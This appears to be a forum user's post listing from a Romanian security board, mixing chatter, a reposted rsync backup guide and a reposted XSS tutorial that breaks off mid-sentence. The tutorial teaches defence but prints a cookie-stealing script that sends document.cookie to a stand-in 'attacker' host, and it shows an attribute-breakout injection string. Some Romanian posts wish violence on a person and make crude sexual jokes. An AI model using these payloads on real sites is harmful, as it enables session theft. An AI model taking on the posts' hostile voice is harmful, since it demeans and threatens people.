Jump to content

Cifre

Active Members
  • Posts

    594
  • Joined

  • Last visited

  • Days Won

    4

Everything posted by Cifre

  1. 50 + 50 = 100 / 100 - 97 = 3 / 1 + 1 = 2 / 1 100 e de la aelius si nytro sunt 100, 100 totalul - 97 revista = 3, 1 e la nytro si 1 e la aelius = 2, si cu 1 de la tine sunt 100.
  2. Am tot observat comentarii de genul "Cand eram mic ai mei ma legau de calorifer si ma bateau cu canapeaua", bine sa intamplat, inca nu sa descoperit dispozitivul care da timpul inapoi deci nu putem schimba trecut dar putem schimba viitorul, nici eu nu am avut o copilarie foarte frumoasa si nu pot spune ca ai mei au fost cei mai buni parinti din lume dar asta nu inseamna ca si eu trebuie sa fac exact ce au facut ai mei, era o vorba in popor "Fa ce zice popa, nu ce face popa", deci cum ziceam si mai devreme nu putem schimba trecutul dar avem puterea si putem schimba viitorul, viitorul nostru si viitorul copiilor nostri. Lumea mai si evolueaza (in unele cazuri, nu prea) si odata cu ea trebuie sa evoluam si noi. Vreau sa inchei prin a va incuraja si prin a va da un sfat "Incercati sa creati un viitor copiilor vostri, o palma poate traumatiza pe viata un copil cu o varsta fragila". Acum este decizia voastra daca ramaneti cum ati fost sau daca incercati sa va schimbati dar este pacat de copii vostri si daca stam sa gandim, nu a fost vina lor ca sau nascut.
  3. Aia merita gasita, batuta, spanzurata si pusa pe bestgore.
  4. Sunt singuru care crede ca acel Valium are probleme mintale si trebuie tratat cat mai rapid? Nu sunt genul care sa doreasca raul cuiva (just kidding) dar baiatul isi merita soarta si sper sa ii putrezeasca oasele in celula adica puneti-va pentru 5 minute in situatia celor de la adnet sau cum se numeste acea firma. Eu cand ii ziceam pe chat sa se potoleasca el ma lua pe mine cu nasoale si imi arata poze cu droguri si cu bilute de muci pe birou. Rusine!
  5. Smart people know that all "who viewed my facebook profile" apps and tutorials are fake and scams.
  6. The rsync protocol can be pretty simple to use for ordinary backup/synchronization jobs, but some of its more advanced features may surprise you. In this article, we’re going to show how even the biggest data hoarders and backup enthusiasts can wield rsync as a single solution for all of their data redundancy needs. Warning: Advanced Geeks Only If you’re sitting there thinking “What the heck is rsync?” or “I only use rsync for really simple tasks,” you may want to check out our previous article on how to use rsync to backup your data on Linux, which gives an introduction to rsync, guides you through installation, and showcases its more basic functions. Once you have a firm grasp of how to use rsync (honestly, it isn’t that complex) and are comfortable with a Linux terminal, you’re ready to move on to this advanced guide. Running rsync on Windows First, let’s get our Windows readers on the same page as our Linux gurus. Although rsync is built to run on Unix-like systems, there’s no reason that you shouldn’t be able to use it just as easily on Windows. Cygwin produces a wonderful Linux API that we can use to run rsync, so head over to their website and download the 32-bit or 64-bit version, depending on your computer. Installation is straightforward; you can keep all options at their default values until you get to the “Select Packages” screen. Now you need to do the same steps for Vim and SSH, but the packages are going to look a bit different when you go to select them, so here are some screenshots: Installing Vim: Installing SSH: After you’ve selected those three packages, keep clicking next until you finish the installation. Then you can open Cygwin by clicking on the icon that the installer placed on your desktop. rsync Commands: Simple to Advanced Now that the Windows users are on the same page, let’s take a look at a simple rsync command, and show how the use of some advanced switches can quickly make it complex. Let’s say you have a bunch of files that need backed up – who doesn’t these days? You plug in your portable hard drive so you can backup your computers files, and issue the following command: [INDENT]rsync -a /home/geek/files/ /mnt/usb/files/ [/INDENT] Or, the way it would look on a Windows computer with Cygwin: [INDENT]rsync -a /cygdrive/c/files/ /cygdrive/e/files/ [/INDENT] Pretty simple, and at that point there’s really no need to use rsync, since you could just drag and drop the files. However, if your other hard drive already has some of the files and just needs the updated versions plus the files that have been created since the last sync, this command is handy because it only sends the new data over to the hard drive. With big files, and especially transferring files over the internet, that is a big deal. Backing up your files to an external hard drive and then keeping the hard drive in the same location as your computer is a very bad idea, so let’s take a look at what it would require to start sending your files over the internet to another computer (one you’ve rented, a family member’s, etc). [INDENT]rsync -av --delete -e 'ssh -p 12345’ /home/geek/files/ geek2@10.1.1.1:/home/geek2/files/ [/INDENT] The above command would send your files to another computer with an IP address of 10.1.1.1. It would delete extraneous files from the destination that no longer exist in the source directory, output the filenames being transferred so you have an idea of what’s going on, and tunnel rsync through SSH on port 12345. The -a -v -e --delete switches are some of the most basic and commonly used; you should already know a good deal about them if you’re reading this tutorial. Let’s go over some other switches that are sometimes ignored but incredibly useful: --progress – This switch allows us to see the transfer progress of each file. It’s particularly useful when transferring large files over the internet, but can output a senseless amount of information when just transferring small files across a fast network. An rsync command with the --progress switch as a backup is in progress: --partial – This is another switch that is particularly useful when transferring large files over the internet. If rsync gets interrupted for any reason in the middle of a file transfer, the partially transferred file is kept in the destination directory and the transfer is resumed where it left off once the rsync command is executed again. When transferring large files over the internet (say, a couple of gigabytes), there’s nothing worse than having a few second internet outage, blue screen, or human error trip up your file transfer and having to start all over again. -P – this switch combines --progress and --partial, so use it instead and it will make your rsync command a little neater. -z or --compress – This switch will make rsync compress file data as it’s being transferred, reducing the amount of data that has to be sent to the destination. It’s actually a fairly common switch but is far from essential, only really benefiting you on transfers between slow connections, and it does nothing for the following types of files: 7z, avi, bz2, deb, g,z iso, jpeg, jpg, mov, mp3, mp4, ogg, rpm, tbz, tgz, z, zip. -h or --human-readable – If you’re using the --progress switch, you’ll definitely want to use this one as well. That is, unless you like to convert bytes to megabytes on the fly. The -h switch converts all outputted numbers to human-readable format, so you can actually make sense of the amount of data being transferred. -n or --dry-run – This switch is essential to know when you’re first writing your rsync script and testing it out. It performs a trial run but doesn’t actually make any changes – the would-be changes are still outputted as normal, so you can read over everything and make sure it looks okay before rolling your script into production. -R or --relative – This switch must be used if the destination directory doesn’t already exist. We will use this option later in this guide so that we can make directories on the target machine with timestamps in the folder names. --exclude-from – This switch is used to link to an exclude list that contains directory paths that you don’t want backed up. It just needs a plain text file with a directory or file path on each line. --include-from – Similar to --exclude-from, but it links to a file that contains directories and file paths of data you want backed up. --stats – Not really an important switch by any means, but if you are a sysadmin, it can be handy to know the detailed stats of each backup, just so you can monitor the amount of traffic being sent over your network and such. --log-file – This lets you send the rsync output to a log file. We definitely recommend this for automated backups in which you aren’t there to read through the output yourself. Always give log files a once over in your spare time to make sure everything is working properly. Also, it’s a crucial switch for a sysadmin to use, so you’re not left wondering how your backups failed while you left the intern in charge. Let’s take a look at our rsync command now that we have a few more switches added: [INDENT]rsync -avzhP --delete --stats --log-file=/home/geek/rsynclogs/backup.log --exclude-from '/home/geek/exclude.txt' -e 'ssh -p 12345' /home/geek/files/ geek2@10.1.1.1:/home/geek2/files/ [/INDENT] The command is still pretty simple, but we still haven’t created a decent backup solution. Even though our files are now in two different physical locations, this backup does nothing to protect us from one of the main causes of data loss: human error. Snapshot Backups If you accidentally delete a file, a virus corrupts any of your files, or something else happens whereby your files are undesirably altered, and then you run your rsync backup script, your backed up data is overwritten with the undesirable changes. When such a thing occurs (not if, but when), your backup solution did nothing to protect you from your data loss. The creator of rsync realized this, and added the --backup and --backup-dir arguments so users could run differential backups. The very first example on rsync’s website shows a script where a full backup is run every seven days, and then the changes to those files are backed up in separate directories daily. The problem with this method is that to recover your files, you have to effectively recover them seven different times. Moreover, most geeks run their backups several times a day, so you could easily have 20+ different backup directories at any given time. Not only is recovering your files now a pain, but even just looking through your backed up data can be extremely time consuming – you’d have to know the last time a file was changed in order to find its most recent backed up copy. On top of all that, it’s inefficient to run only weekly (or even less often in some cases) incremental backups. Snapshot backups to the rescue! Snapshot backups are nothing more than incremental backups, but they utilize hardlinks to retain the file structure of the original source. That may be hard to wrap your head around at first, so let’s take a look at an example. Pretend we have a backup script running that automatically backs up our data every two hours. Whenever rsync does this, it names each backup in the format of: Backup-month-day-year-time. So, at the end a typical day, we’d have a list of folders in our destination directory like this: When traversing any of those directories, you’d see every file from the source directory exactly as it was at that time. Yet, there would be no duplicates across any two directories. rsync accomplishes this with the use of hardlinking through the --link-dest=DIR argument. Of course, in order to have these nicely- and neatly-dated directory names, we’re going to have to beef up our rsync script a bit. Let’s take a look at what it would take to accomplish a backup solution like this, and then we’ll explain the script in greater detail: [INDENT]#!/bin/bash #copy old time.txt to time2.txt yes | cp ~/backup/time.txt ~/backup/time2.txt #overwrite old time.txt file with new time echo `date +”%F-%I%p”` > ~/backup/time.txt #make the log file echo “” > ~/backup/rsync-`date +”%F-%I%p”`.log #rsync command rsync -avzhPR --chmod=Du=rwx,Dgo=rx,Fu=rw,Fgo=r --delete --stats --log-file=~/backup/rsync-`date +”%F-%I%p”`.log --exclude-from '~/exclude.txt' --link-dest=/home/geek2/files/`cat ~/backup/time2.txt` -e 'ssh -p 12345' /home/geek/files/ geek2@10.1.1.1:/home/geek2/files/`date +”%F-%I%p”`/ #don’t forget to scp the log file and put it with the backup scp -P 12345 ~/backup/rsync-`cat ~/backup/time.txt`.log geek2@10.1.1.1:/home/geek2/files/`cat ~/backup/time.txt`/rsync-`cat ~/backup/time.txt`.log [/INDENT] That would be a typical snapshot rsync script. In case we lost you somewhere, let’s dissect it piece by piece: The first line of our script copies the contents of time.txt to time2.txt. The yes pipe is to confirm that we want to overwrite the file. Next, we take the current time and put it into time.txt. These files will come in handy later. The next line makes the rsync log file, naming it rsync-date.log (where date is the actual date and time). Now, the complex rsync command that we’ve been warning you about: -avzhPR, -e, --delete, --stats, --log-file, --exclude-from, --link-dest – Just the switches we talked about earlier; scroll up if you need a refresher. --chmod=Du=rwx,Dgo=rx,Fu=rw,Fgo=r – These are the permissions for the destination directory. Since we are making this directory in the middle of our rsync script, we need to specify the permissions so that our user can write files to it. The use of date and cat commands We’re going to go over each use of the date and cat commands inside the rsync command, in the order that they occur. Note: we’re aware that there are other ways to accomplish this functionality, especially with the use of declaring variables, but for the purpose of this guide, we’ve decided to use this method. The log file is specified as: [INDENT]~/backup/rsync-`date +”%F-%I%p”`.log [/INDENT] Alternatively, we could have specified it as: [INDENT]~/backup/rsync-`cat ~/backup/time.txt`.log [/INDENT] Either way, the --log-file command should be able to find the previously created dated log file and write to it. The link destination file is specified as: [INDENT]--link-dest=/home/geek2/files/`cat ~/backup/time2.txt` [/INDENT] This means that the --link-dest command is given the directory of the previous backup. If we are running backups every two hours, and it’s 4:00PM at the time we ran this script, then the --link-dest command looks for the directory created at 2:00PM and only transfers the data that has changed since then (if any). To reiterate, that is why time.txt is copied to time2.txt at the beginning of the script, so the --link-dest command can reference that time later. The destination directory is specified as: [INDENT]geek2@10.1.1.1:/home/geek2/files/`date +”%F-%I%p”` [/INDENT] This command simply puts the source files into a directory that has a title of the current date and time. Finally, we make sure that a copy of the log file is placed inside the backup. [INDENT]scp -P 12345 ~/backup/rsync-`cat ~/backup/time.txt`.log geek2@10.1.1.1:/home/geek2/files/`cat ~/backup/time.txt`/rsync-`cat ~/backup/time.txt`.log [/INDENT] We use secure copy on port 12345 to take the rsync log and place it in the proper directory. To select the correct log file and make sure it ends up in the right spot, the time.txt file must be referenced via the cat command. If you’re wondering why we decided to cat time.txt instead of just using the date command, it’s because a lot of time could have transpired while the rsync command was running, so to make sure we have the right time, we just cat the text document we created earlier. Automation Use Cron on Linux or Task Scheduler on Windows to automate your rsync script. One thing you have to be careful of is making sure that you end any currently running rsync processes before continuing a new one. Task Scheduler seems to close any already running instances automatically, but for Linux you’ll need to be a little more creative. Most Linux distributions can use the pkill command, so just be sure to add the following to the beginning of your rsync script: [INDENT]pkill -9 rsync [/INDENT] Encryption Nope, we’re not done yet. We finally have a fantastic (and free!) backup solution in place, but all of our files are still susceptible to theft. Hopefully, you’re backing up your files to some place hundreds of miles away. No matter how secure that faraway place is, theft and hacking can always be problems. In our examples, we have tunneled all of our rsync traffic through SSH, so that means all of our files are encrypted while in transit to their destination. However, we need to make sure the destination is just as secure. Keep in mind that rsync only encrypts your data as it is being transferred, but the files are wide open once they reach their destination. One of rsync’s best features is that it only transfers the changes in each file. If you have all of your files encrypted and make one minor change, the entire file will have to be retransmitted as a result of the encryption completely randomizing all of the data after any change. For this reason, it’s best/easiest to use some type of disk encryption, such as BitLocker for Windows or dm-crypt for Linux. That way, your data is protected in the event of theft, but files can be transferred with rsync and your encryption won’t hinder its performance. There are other options available that work similarly to rsync or even implement some form of it, such as Duplicity, but they lack some of the features that rsync has to offer. After you’ve setup your snapshot backups at an offsite location and encrypted your source and destination hard drives, give yourself a pat on the back for mastering rsync and implementing the most foolproof data backup solution possible. Source
  7. Cifre

    Ca ce lucrezi?

    Eu sunt barman de retea la un club de fite din londra.. Ar trebui adaugata si optiunea "nu lucrez in domeniul IT sau Lucrez ca altceva".
  8. E foarte vechi videoul ala. Merita ascultat si Imnul Cifre:
  9. ON: Imi place tot ce e intre 18-39 si sub 55 de KG. Oricum sa ars valium. OFF: Daca imi pune cineva custom title-ul MILF Lover o fut si pe bunicasa lu' Valium.
  10. Am vorbit atata timp despre retardatul de Valium si nu a zis nimeni "Bine ai revenit Nemessis", foarte frumos din partea voastra. RESPECT NEME 4 EVAR!
  11. Eu cand i-am zis la prost sa isi ia o saptamana libera si sa se relaxeze am luat ban de la Gecko. Baiatul isi merita soarta si Google nu e hostat acolo, Google nu a fost si nu o sa fie vreodata hostat pe freeNAS.
  12. RST nu se rezuma doar la securitate IT si stiri. Aici este vorba si despre socializare deci nu vad corecta decizia moderatoriilor de a inchide subiectele interesante. Dar din moment ce 100 din mesajele mele in care imi exprimam parerea despre RST au fost sterse, am ajuns la concluzia ca daca unui moderator nu ii pica bine la stomac prezenta sau parerea unui utilizator o sa faca tot posibilul ca acel utilizator sa dispara. Deci sa uitam de faza cu "Be OPEN-MINDED" pentru ca nu exista. Mai exista o optiune pentru a dezbate acest tip de subiecte: CHAT-ul. In fine nu are rost sa mai dezbat acest subiect pentru ca oricum parerea mea nu conteaza asa ca PEACE!
  13. [h=3]What is XSS?[/h]Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser. The attacker does not directly target his victim. Instead, he exploits a vulnerability in a website that the victim visits, in order to get the website to deliver the malicious JavaScript for him. To the victim's browser, the malicious JavaScript appears to be a legitimate part of the website, and the website has thus acted as an unintentional accomplice to the attacker. [h=3]How the malicious JavaScript is injected[/h]The only way for the attacker to run his malicious JavaScript in the victim's browser is to inject it into one of the pages that the victim downloads from the website. This can happen if the website directly includes user input in its pages, because the attacker can then insert a string that will be treated as code by the victim's browser. In the example below, a simple server-side script is used to display the latest comment on a website: print "<html>" print "Latest comment:" print database.latestComment print "</html>" The script assumes that a comment consists only of text. However, since the user input is included directly, an attacker could submit this comment: "<script>...</script>". Any user visiting the page would now receive the following response: <html> Latest comment: <script>...</script> </html> When the user's browser loads the page, it will execute whatever JavaScript code is contained inside the <script> tags. The attacker has now succeeded with his attack. [h=3]What is malicious JavaScript?[/h]At first, the ability to execute JavaScript in the victim's browser might not seem particularly malicious. After all, JavaScript runs in a very restricted environment that has extremely limited access to the user's files and operating system. In fact, you could open your browser's JavaScript console right now and execute any JavaScript you want, and you would be very unlikely to cause any damage to your computer. However, the possibility of JavaScript being malicious becomes more clear when you consider the following facts: JavaScript has access to some of the user's sensitive information, such as cookies. JavaScript can send HTTP requests with arbitrary content to arbitrary destinations by using XMLHttpRequest and other mechanisms. JavaScript can make arbitrary modifications to the HTML of the current page by using DOM manipulation methods. These facts combined can cause very serious security breaches, as we will explain next. [h=3]The consequences of malicious JavaScript[/h]Among many other things, the ability to execute arbitrary JavaScript in another user's browser allows an attacker to perform the following types of attacks: Cookie theftThe attacker can access the victim's cookies associated with the website using document.cookie, send them to his own server, and use them to extract sensitive information like session IDs. KeyloggingThe attacker can register a keyboard event listener using addEventListener and then send all of the user's keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers. PhishingThe attacker can insert a fake login form into the page using DOM manipulation, set the form's action attribute to target his own server, and then trick the user into submitting sensitive information. Although these attacks differ significantly, they all have one crucial similarity: because the attacker has injected code into a page served by the website, the malicious JavaScript is executed in the context of that website. This means that it is treated like any other script from that website: it has access to the victim's data for that website (such as cookies) and the host name shown in the URL bar will be that of the website. For all intents and purposes, the script is considered a legitimate part of the website, allowing it to do anything that the actual website can. This fact highlights a key issue: If an attacker can use your website to execute arbitrary JavaScript in another user's browser, the security of your website and its users has been compromised. To emphasize this point, some examples in this tutorial will leave out the details of a malicious script by only showing <script>...</script>. This indicates that the mere presence of a script injected by the attacker is the problem, regardless of which specific code the script actually executes. [h=2]Part Two: XSS Attacks[/h][h=3]Actors in an XSS attack[/h]Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack. In general, an XSS attack involves three actors: the website, the victim, and the attacker. The website serves HTML pages to users who request them. In our examples, it is located at http://website/. The website's database is a database that stores some of the user input included in the website's pages. [*]The victim is a normal user of the website who requests pages from it using his browser. [*]The attacker is a malicious user of the website who intends to launch an attack on the victim by exploting an XSS vulnerability in the website. The attacker's server is a web server controlled by the attacker for the sole purpose of stealing the victim's sensitive information. In our examples, it is located at http://attacker/. [h=3]An example attack scenario[/h]In this example, we will assume that the attacker's ultimate goal is to steal the victim's cookies by exploiting an XSS vulnerability in the website. This can be done by having the victim's browser parse the following HTML code: <script> window.location='http://attacker/?cookie='+document.cookie </script> This script navigates the user's browser to a different URL, triggering an HTTP request to the attacker's server. The URL includes the victim's cookies as a query parameter, which the attacker can extract from the request when it arrives to his server. Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks. From now on, the HTML code above will be referred to as the malicious string or the malicious script. It is important to note that the string itself is only malicious if it ultimately gets parsed as HTML in the victim's browser, which can only happen as the result of an XSS vulnerability in the website. [h=4]How the example attack works[/h]The diagram below illustrates how this example attack can be performed by an attacker: The attacker uses one of the website's forms to insert a malicious string into the website's database. The victim requests a page from the website. The website includes the malicious string from the database in the response and sends it to the victim. The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server. [h=3]Types of XSS[/h]While the goal of an XSS attack is always to execute malicious JavaScript in the victim's browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types: Persistent XSS, where the malicious string originates from the website's database. Reflected XSS, where the malicious string originates from the victim's request. DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code. The previous example illustrated a persistent XSS attack. We will now describe the other two types of XSS attacks: reflected XSS and DOM-based XSS. [h=4]Reflected XSS[/h]In a reflected XSS attack, the malicious string is part of the victim's request to the website. The website then includes this malicious string in the response sent back to the user. The diagram below illustrates this scenario: The attacker crafts a URL containing a malicious string and sends it to the victim. The victim is tricked by the attacker into requesting the URL from the website. The website includes the malicious string from the URL in the response. The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server. [h=5]How can reflected XSS succeed?[/h]At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack. As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself: If the user targets a specific individual, the attacker can send the malicious URL to the victim (using e-mail or instant messaging, for example) and trick him into visiting it. If the user targets a large group of people, the attacker can publish a link to the malicious URL (on his own website or on a social network, for example) and wait for visitors to click it. These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it. [h=4]DOM-based XSS[/h]DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim's browser until the website's legitimate JavaScript is executed. The diagram below illustrates this scenario for a reflected XSS attack: The attacker crafts a URL containing a malicious string and sends it to the victim. The victim is tricked by the attacker into requesting the URL from the website. The website receives the request, but does not include the malicious string in the response. The victim's browser executes the legitimate script inside the response, causing the malicious script to be inserted into the page. The victim's browser executes the malicious script inserted into the page, sending the victim's cookies to the attacker's server. [h=5]What makes DOM-based XSS different[/h]In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim's browser receives the response, it assumes the malicious script to be part of the page's legitimate content and automatically executes it during page load as with any other script. In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to be executed. The difference is subtle but important: In traditional XSS, the malicious JavaScript is executed when the page is loaded, as part of the HTML sent by the server. In DOM-based XSS, the malicious JavaScript is executed at some point after the page has loaded, as a result of the page's legitimate JavaScript treating user input in an unsafe way. [h=5]Why DOM-based XSS matters[/h]In the previous example, JavaScript was not necessary; the server could have generated all the HTML by itself. If the server-side code were free of vulnerabilities, the website would then be safe from XSS. However, as web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request. This means that XSS vulnerabilities can be present not only in your website's server-side code, but also in your website's client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code. [h=4]DOM-based XSS invisible to the server[/h]There is a special case of DOM-based XSS in which the malicious string is never sent to the website's server to begin with: when the malicious string is contained in a URL's fragment identifier (anything after the # character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely. This situation is not limited to fragment identifiers. Other user input that is invisible to the server includes new HTML5 features like LocalStorage and IndexedDB. [h=2]Part Three: Preventing XSS[/h][h=3]Methods of preventing XSS[/h]Recall that an XSS attack is a type of code injection: user input is mistakenly interpreted as malicious program code. In order to prevent this type of code injection, secure input handling is needed. For a web developer, there are two fundamentally different ways of performing secure input handling: Encoding, which escapes the user input so that the browser interprets it only as data, not as code. Validation, which filters the user input so that the browser interprets it as code without malicious commands. While these are fundamentally different methods of preventing XSS, they share several common features that are important to understand when using either of them: ContextSecure input handling needs to be performed differently depending on where in a page the user input is inserted. Inbound/outboundSecure input handling can be performed either when your website receives the input (inbound) or right before your website inserts the input into a page (outbound). Client/serverSecure input handling can be performed either on the client-side or on the server-side, both of which are needed under different circumstances. Before explaining in detail how encoding and validation work, we will describe each of these points. [h=4]Input handling contexts[/h]There are many contexts in a web page where user input might be inserted. For each of these, specific rules must be followed so that the user input cannot break out of its context and be interpreted as malicious code. Below are the most common contexts: [TABLE] [TR] [TH]Context[/TH] [TH]Example code[/TH] [/TR] [TR] [TD]HTML element content[/TD] [TD]<div>userInput</div>[/TD] [/TR] [TR] [TD]HTML attribute value[/TD] [TD]<input value="userInput">[/TD] [/TR] [TR] [TD]URL query value[/TD] [TD]http://example.com/?parameter=userInput[/TD] [/TR] [TR] [TD]CSS value[/TD] [TD]color: userInput[/TD] [/TR] [TR] [TD]JavaScript value[/TD] [TD]var name = "userInput";[/TD] [/TR] [/TABLE] [h=5]Why context matters[/h] In all of the contexts described, an XSS vulnerability would arise if user input were inserted before first being encoded or validated. An attacker would then be able to inject malicious code by simply inserting the closing delimiter for that context and following it with the malicious code. For example, if at some point a website inserts user input directly into an HTML attribute, an attacker would be able to inject a malicious script by beginning his input with a quotation mark, as shown below: [TABLE] [TR] [TH]Application code[/TH] [TD]<input value="userInput">[/TD] [/TR] [TR] [TH]Malicious string[/TH] [TD]"><script>...</script><input value="[/TD] [/TR] [TR] [TH]Resulting code[/TH] [TD]<input value=""><script>...</script><input value="">[/TD] [/TR] [/TABLE] This could be prevented by simply removing all quotation marks in the user input, and everything would be fine—but only in this context. If the same input were inserted into another context, the closing delimiter would be different and injection would become possible. For this reason, secure input handling always needs to be tailored to the context where the user input will be inserted. [h=4]Inbound/outbound input handling[/h] Instinctively, it might seem that XSS can be prevented by encoding or validating all user input as soon as your website receives it. This way, any malicious strings should already have been neutralized whenever they are included in a page, and the scripts generating HTML will not have to concern themselves with secure input handling. The problem is that, as described previously, user input can be inserted into several contexts in a page. There is no easy way of determining when user input arrives which context it will eventually be inserted into, and the same user input often needs to be inserted into different contexts. Relying on inbound input handling to prevent XSS is thus a very brittle solution that will be prone to errors. (The deprecated "magic quotes" feature of PHP is an example of such a solution.) Instead, outbound input handling should be your primary line of defense against XSS, because it can take into account the specific context that user input will be inserted into. That being said, inbound validation can still be used to add a secondary layer of protection, as we will describe later. [h=4]Where to perform secure input handling[/h] In most modern web applications, user input is handled by both server-side code and client-side code. In order to protect against all types of XSS, secure input handling must be performed in both the server-side code and the client-side code. In order to protect against traditional XSS, secure input handling must be performed in server-side code. This is done using any language supported by the server. In order to protect against DOM-based XSS where the server never receives the malicious string (such as the fragment identifier attack described earlier), secure input handling must be performed in client-side code. This is done using JavaScript. Now that we have explained why context matters, why the distinction between inbound and outbound input handling is important, and why secure input handling needs to be performed in both client-side code and server-side code, we will go on to explain how the two types of secure input handling (encoding and validation) are actually performed. [h=3]Encoding[/h] Encoding is the act of escaping user input so that the browser interprets it only as data, not as code. The most recognizable type of encoding in web development is HTML escaping, which converts characters like < and > into < and >, respectively. The following pseudocode is an example of how user input could be encoded using HTML escaping and then inserted into a page by a server-side script: print "<html>" print "Latest comment: " print encodeHtml(userInput) print "</html>" If the user input were the string <script>...</script>, the resulting HTML would be as follows: <html> Latest comment: <script>...</script> </html> Because all characters with special meaning have been escaped, the browser will not parse any part of the user input as HTML. [h=4]Encoding in client-side and server-side code[/h] When performing encoding in your client-side code, the language used is always JavaScript, which has built-in functions that encode data for different contexts. When performing encoding in your server-side code, you rely on the functions available in your server-side language or framework. Due to the large number of languages and frameworks available, this tutorial will not cover the details of encoding in any specific server-side language or framework. However, familiarity with the encoding functions used on the client-side in JavaScript is useful when writing server-side code as well. [h=5]Encoding on the client-side[/h] When encoding user input on the client-side using JavaScript, there are several built-in methods and properties that automatically encode all data in a context-aware manner: [TABLE] [TR] [TH]Context[/TH] [TH]Method/property[/TH] [/TR] [TR] [TD]HTML element content[/TD] [TD]node.textContent = userInput[/TD] [/TR] [TR] [TD]HTML attribute value[/TD] [TD]element.setAttribute(attribute, userInput) or element[attribute] = userInput[/TD] [/TR] [TR] [TD]URL query value[/TD] [TD]window.encodeURIComponent(userInput)[/TD] [/TR] [TR] [TD]CSS value[/TD] [TD]element.style.property = userInput[/TD] [/TR] [/TABLE] The last context mentioned above (JavaScript values) is not included in this list, because JavaScript provides no built-in way of encoding data to be included in JavaScript source code. [h=4]Limitations of encoding[/h] Even with encoding, it will be possible to input malicious strings into some contexts. A notable example of this is when user input is used to provide URLs, such as in the example below: document.querySelector('a').href = userInput Although assigning a value to the href property of an anchor element automatically encodes it so that it becomes nothing more than an attribute value, this in itself does not prevent the attacker from inserting a URL beginning with "javascript:". When the link is clicked, whatever JavaScript is embedded inside the URL will be executed. Encoding is also an inadequate solution when you actually want the user to define part of a page's code. An example is a user profile page where the user can define custom HTML. If this custom HTML were encoded, the profile page could consist only of plain text. In situations like these, encoding has to be complemented with validation, which we will describe next. [h=3]Validation[/h] Validation is the act of filtering user input so that all malicious parts of it are removed, without necessarily removing all code in it. One of the most recognizable types of validation in web development is allowing some HTML elements (such as <em> and <strong>) but disallowing others (such as <script>). There are two main characteristics of validation that differ between implementations: Classification strategyUser input can be classified using either blacklisting or whitelisting. Validation outcomeUser input identified as malicious can either be rejected or sanitised. [h=4]Classification strategy[/h] [h=5]Blacklisting[/h] Instinctively, it seems reasonable to perform validation by defining a forbidden pattern that should not appear in user input. If a string matches this pattern, it is then marked as invalid. An example would be to allow users to submit custom HTML that contains any elements except <script>. This classification strategy is called blacklisting. However, blacklisting has two major drawbacks: ComplexityAccurately describing the set of all possible malicious strings is a very complex task. The example policy described above could not be successfully implemented by simply searching for the substring "<script>", because this would miss strings of the form "<script >" and "<SCRIPT>". In a language as complex as HTML, many other such cases exist, and detecting all of them is very difficult. StalenessEven if a perfect blacklist were developed, it would fail if a new feature allowing malicious use were added to the browser. For example, a blacklist developed before the introduction of the HTML5 onmousewheel attribute would fail to stop an attacker from using that attribute to perform an XSS attack. This drawback is especially significant in web development, which is made up of many different technologies that are constantly being updated. Because of these drawbacks, blacklisting as a classification strategy is strongly discouraged. Whitelisting is usually a much safer approach, as we will describe next. [h=5]Whitelisting[/h] Whitelisting is essentially the opposite of blacklisting: instead of defining a forbidden pattern, a whitelist approach defines an allowed pattern and marks input as invalid if it does not match this pattern. In contrast with the blacklisting example before, an example of whitelisting would be to allow users to submit custom HTML containing only the tags <em> and <strong>, nothing else. This approach would automatically mark input as invalid if it contained the tag <script>, even if it appeared as "<script >" or "<SCRIPT>". Compared to blacklisting, there are two major benefits of whitelisting: SimplicityAccurately describing a set of safe strings is generally much easier than identifying the set of all malicious strings. This is especially true in common situations where user input only needs to include a very limited subset of the functionality available in a browser. For example, defining a whitelist allowing only URLs starting with "http://" is very simple, and perfectly adequate for users in most situations. LongevityUnlike a blacklist, a whitelist will generally not become obsolete when a new feature is added to the browser. For example, a whitelist allowing only the title attribute on HTML elements would remain safe even if it was developed before the introduction of HTML5 onmousewheel attribute. [h=4]Validation outcome[/h] When input has been marked as invalid, one of two actions can be taken: RejectionThe input is simply rejected, preventing it from being used elsewhere in the website. SanitisationAll invalid parts of the input are removed, and the remaining input is used normally by the website. Of these two, rejection is the simplest approach to implement. That being said, sanitisation can be more useful since it allows a broader range of input from the user. For example, if a user submits a credit card number, a sanitisation routine that removes all non-digit characters would prevent code injection as well as allowing the user to enter the number either with or without hyphens. If you decide to implement sanitisation, you must make sure that the sanitisation routine itself doesn't use a blacklisting approach. For example, the string "<p>...</p><SCRIPT>...</SCRIPT>", even when identified as invalid using a whitelist approach, would get past a sanitisation routine that simply removes all instances of "<script>". For this reason, well-tested libraries and frameworks should be used for sanitisation whenever possible. [h=3]Which prevention technique to use[/h] Encoding should be your first line of defense against XSS, because its very purpose is to neutralize data so that it cannot be interpreted as code. In some cases, encoding needs to be complemented with validation, as explained earlier. This encoding and validation should be outbound, because only when the input is included in a page do you know which context to encode and validate for. As a second line of defense, you should use inbound validation to sanitize or reject data that is clearly invalid, such as links 